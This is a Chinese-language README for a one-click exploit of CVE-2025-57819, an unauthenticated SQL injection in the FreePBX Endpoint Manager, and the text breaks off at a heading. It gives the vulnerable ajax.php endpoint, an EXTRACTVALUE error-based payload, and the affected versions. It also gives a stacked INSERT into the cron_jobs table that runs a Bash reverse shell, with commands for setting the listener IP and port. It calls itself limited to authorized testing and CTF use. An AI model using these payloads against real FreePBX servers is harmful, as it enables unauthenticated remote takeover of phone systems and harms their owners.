
CVE-2025-57819 -> rce
针对 FreePBX Endpoint Manager 未认证 SQL 注入(CVE-2025-57819)的一键利用程序,通过 FreePBX cron_jobs 表桥接实现远程代码执行。
仅限授权的安全测试 / CTF 使用。
Endpoint 模块的 Ajax 处理器将 brand 参数直接拼接到 SQL 查询中,且模块路径 FreePBX\modules\endpoint\ajax 绕过了 Ajax 的 Referrer / 认证检查。这提供了一个未认证的基于错误的 SQL 注入(通过 EXTRACTVALUE),并启用了堆叠查询写入。
注入点:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
&command=model&template=x&model=model&brand=<注入点>
验证(基于错误的读取):
brand=x' AND EXTRACTVALUE(1,CONCAT('~',(SELECT USER()),'~')) -- -
→ {"error":{"message":"... XPATH syntax error: '~freepbxuser@localhost~' ..."}}
影响版本: FreePBX 15 < 15.0.66,16 < 16.0.89,17 < 17.0.3。
该注入本身是只读的,但堆叠查询允许写入。FreePBX 通过其 cron 管理器从 cron_jobs 表中执行任务,因此插入一行即可实现任意命令执行(大约 60 秒内,计划为 * * * * *):
INSERT INTO cron_jobs
(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)
VALUES ('sysadmin','<任务名>','<操作系统命令>',NULL,'* * * * *',30,1,1);
注入的命令是一个 Bash 反弹 Shell。该 cron 行在第一次回调后自动删除,以避免重复连接。
pip install requests urllib3
Python 3。内置的 IP 检测(-i/--interface)仅限 Linux;其他平台请使用 --ip。
# 默认:接口 tun0,端口 4444 — 启动监听器,利用漏洞,获得 Shell
python3 exploit.py http://{目标地址}
# 选择不同的接口 / 端口
python3 exploit.py http://{目标地址} -i eth0 -p 9001
# 显式设置监听器 IP
python3 exploit.py http://{目标地址} --ip 10.10.15.52
python3 exploit.py --help
脚本功能: